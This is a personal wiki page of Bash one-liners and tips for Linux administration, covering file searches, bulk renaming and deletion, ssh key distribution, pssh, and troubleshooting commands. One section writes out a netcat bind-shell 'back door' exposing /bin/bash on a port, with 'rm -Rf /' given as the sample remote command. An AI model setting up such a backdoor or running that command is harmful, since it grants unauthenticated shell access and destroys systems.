User Tools

Site Tools


linux:bash

Bash

Sub pages

Scripts

Files operation

sizes

  • Find out the biggest file
du -a . | sort -nr
  • Find file bigger than 10GB
find /directory/ -type f -size +10 G -printf "%s:%h%f\n"
  • Find 10 largest files
find . -type f -print0 | xargs -0 du -s | sort -n | tail -10 | cut -f2 | xargs -I{} du -sh {}
  • Find 10 largest directories
find . -type d -print0 | xargs -0 du -s | sort -n | tail -10 | cut -f2 | xargs -I{} du -sh {}
  • Find files with a content
find /etc/httpd -type f -exec grep -l '^LogFormat' {} \;

chmod for directories only

# find /path/to/base/dir -type d -exec chmod 755 {} \;

chmod for files only

# find /path/to/base/dir -type f -exec chmod 755 {} \;

Rename multiple files

$ for f in *; do mv $f ${f/test/prod}; done

For each file matched by *, bash will execute a command similar to this: mv test.config prod.config

Rename files by appending number to filename:

renamefiles.sh
   #!/bin/bash
   cnt=1
   for fname in *
   do
      mv $fname file${cnt}.avi
      cnt=$(( $cnt + 1 ))
   done

Remove log files older than n days

$ find ./ -name "*.log" -type f -mtime +n -delete

Remove directories older than n days

$ find ./ -type d -mtime +n -exec rm -rf {} \;

Remove directories created in January

$ rm -rf `ls -ld * | grep Jan | awk '{ print $9 }'`

Remove all jpg files

$ find ./ -name "*.jpg" -type f -delete

Remove empty directories

$ find . -type d -empty -delete

Replace space with underscore in files or directories

find ./ -depth -name '* *' -execdir bash -c 'mv "$1" "`echo $1 | sed "s/ \+/_/g"`"' _ {} \;

Replace string in files

 sed -i 's/old-word/new-word/g' *.txt

or with backup:

 sed 's/old/new/g' input.txt > output.txt

Inodes

In order to list inode information use:

 df -i

Script to count files in all subdirectories under current directory:

countfiles.sh
   #!/bin/bash
   echo 'echo $(ls -a "$1" | wc -l) $1' >/tmp/count_em_$$
   chmod 700 /tmp/count_em_$$
   find . -mount -type d -print0 | xargs -0 -n1 /tmp/count_em_$$ | sort -n
   rm -f /tmp/count_em_$$

grep in zipped files

  • count number of occurrences
gunzip -c messages.gz | grep 'error' | wc -l
  • show few of errors
gunzip -c messages.gz | grep 'error' | head

netstat

  • count connections states
netstat -an|awk '/tcp/ {print $6}'|sort|  uniq -c

Processes

Kill all processes run by a user

ps -ef |grep <username> | awk '{ print $2 }' | xargs kill -9

Bash Shortcuts Quick Reference

Tab Auto-complete files and folder names
Shift + Page Up Scroll terminal output up
Shift + Page Down Scroll terminal output down
CTRL + R Search command line history
CTRL + L Clear the screen
CTRL + F Move forward one character
CTRL + B Move backward one character
Alt + F Move forward one word
Alt + B Move backward one word
CTRL + A Go to the beginning of the line
CTRL + E Go to the end of the line
CTRL + D Exits the shell (EOF)
CTRL + Z Pauses the current process and sends it to the background
CTRL + S Stops output to the screen (XOFF)
CTRL + Q Turns on output to the screen (XON)
CTRL + C Delete the entire line or kill the current process

Editing

CTRL + T Switch positions of current and previous characters
Alt + T Switch positions of current and previous words
Alt + U Change the current word (from cursor position to end of word) to uppercase
Alt + L Change the current word (from cursor position to end of word) to lowercase
Alt + C Change the current character to uppercase
CTRL + H Delete the character before the cursor. Similar to pressing backspace
CTRL + V Add a special character. e.g. CTRL+V CTRL+C will add ^C instead of canceling the current command
CTRL + _ Undo
Alt + Backspace Deletes from cursor position back to the first space

Cutting And Pasting

CTRL + K Cut text from cursor position to the end of the line
CTRL + U Cut text from cursor position to the beginning of the line
CTRL + W Cut word from cursor position to the beginning of the word
ALT + D Cut word from cursor position to the end of the word
CTRL + Y Paste the recently cut text

Tips and Tricks

What package contains this file?

$ equery belongs $(which equery)

or

$ equery belongs /usr/lib64/libksba.a

Compile your script

You can compile your script using tool called shc.
Just call:

$ shc -r -v -f <script>

This will create two files: script.x and script.x.c. The first file is the one you are interested in. Just rename it to whatever you want and start using is as regular, standalone application.

Add ssh-id to server

Prerequisites

  • Install sshpass
  • Generate local ssh-keys:
$ ssh-keygen

Send ssh keys to single server

You can add ssh-id to single server using command:

$ ssh-copy-id -i .ssh/id_rsa.pub <user-name>@<server>

Send ssh keys to multiple servers

You can add ssh-id to multiple servers using command:

$ for i in `cat <list-of-servers>`; do sshpass -f password.txt ssh-copy-id $i; done
  • list-of-servers - text file with server list
  • password.txt - text file with password

or

$ for i in `echo server{01..10}`; do sshpass -f password.txt ssh-copy-id $i; done

Use password auth instead keys (temporarily)

$ ssh -o PubkeyAuthentication=no <user-name>@<server>

pssh tricks

Get hosts IP addresses

pssh -h <list-of-servers> -i  -p 100 "/sbin/ifconfig eth0 | awk -F ' *|:' '/inet addr/{print $4}'" 

Check daemons status

pssh -h <list-of-servers> -i -p 1 "sudo -i service <daemon> status"

and do the same, but without <list-of-servers> file:

pssh -H "`echo server{01..10}`" -i -p 1 "sudo -i service <daemon> status"

Test network transfer

Check network transfer by sending big amount of data (straight to /dev/null).

tar -cvf - </usr/lib> | ssh <ip.address> "dd of=/dev/null"

Dump and view traffic on a network

On destination host call:

# tcpdump -i eth0 src <ip.of.source.host>

now from source host test connection using telnet.

Use ''netcat'' to test if port is oppened

On server side use:

# netcat -l -p 8080 -v 

where:
l - listen
p - port
v - verbose

Now you can telnet to the port from client machine.

Use ''netcat'' to create back door to the system

On server side:

# netcat -l -v -p 22 -e /bin/bash

On client side:

$ netcat <server-IP-address> 22
<any-bash-comman> ex. rm -Rf /

nmap trciks

  • Check response from group of servers
# nmap -R -sP 10.0.0.1-35

base64

  • Encode text
$ echo 'open sesame!' | base64
  • Decode text
$ echo 'b3BlbiBzZXNhbWUhCg==' | base64 -d

Using diff to compare directories on two different servers

# diff <(ssh server1 'sudo ls -1aR /var/www/vhosts/domain.com') <(ssh server2 'sudo ls -1aR /var/www/vhosts/domain.com')

Troubleshooting system - useful commands

  • vmstat -Sm 1 — displays information about machine in MBytes.
  • iostat -kx 1 — displays extended information about I/O in kBytes. 1)
  • ps aufx — full format listing in BSD style including file names.
  • lsof -np PID — list opened files by PID.
  • lsof -np PID | wc — counts opened files by PID.
  • ulimit -a — displays limits for user.
  • strace -p PID — dig deeper in process. 2)
  • list processes and memory consumption:
# ps -e -orss=,args= | sort -b -k1,1n

Test throughput

# sar -n DEV 1 5

or test with Perl script.

Get my ip from cli

Do we really go to Google and search for IP? Try this:

curl ifconfig.me

Test TTFB of the site

curl -o /dev/null -w "Connect: %{time_connect} TTFB: %{time_starttransfer} Total time: %{time_total} \n" -s htto://site.com/

Disable expiration of password and account

  • Test
# chage -l <username>

Last password change                                    : password must be changed
Password expires                                        : password must be changed
Password inactive                                       : password must be changed
Account expires                                         : never
Minimum number of days between password change          : 0
Maximum number of days between password change          : 99999
Number of days of warning before password expires       : 7
  • Reset
# chage -I -1 -m 0 -M 99999 -E -1 <username>
  • Test again
# chage -l <username>

Last password change                                    : Sep 23, 2015
Password expires                                        : never
Password inactive                                       : never
Account expires                                         : never
Minimum number of days between password change          : 0
Maximum number of days between password change          : 99999
Number of days of warning before password expires       : 0

Infinite loop

for (( ; ; )) ; do echo "Infinite loop!"; sleep 5; done

Loop over lines of file

cat file.txt | while read line
do
   echo $line
done

Puppet tricks

  • Show classes use by a node

Run puppet agent -t –noop and when it finishes, call:

grep Class /var/lib/puppet/state/last_run_report.yaml
1)
iostat missing? Please install sysstat package.
2)
strace missing? Please install strace package.
linux/bash.txt · Last modified: 2016/09/14 05:22 by abadonna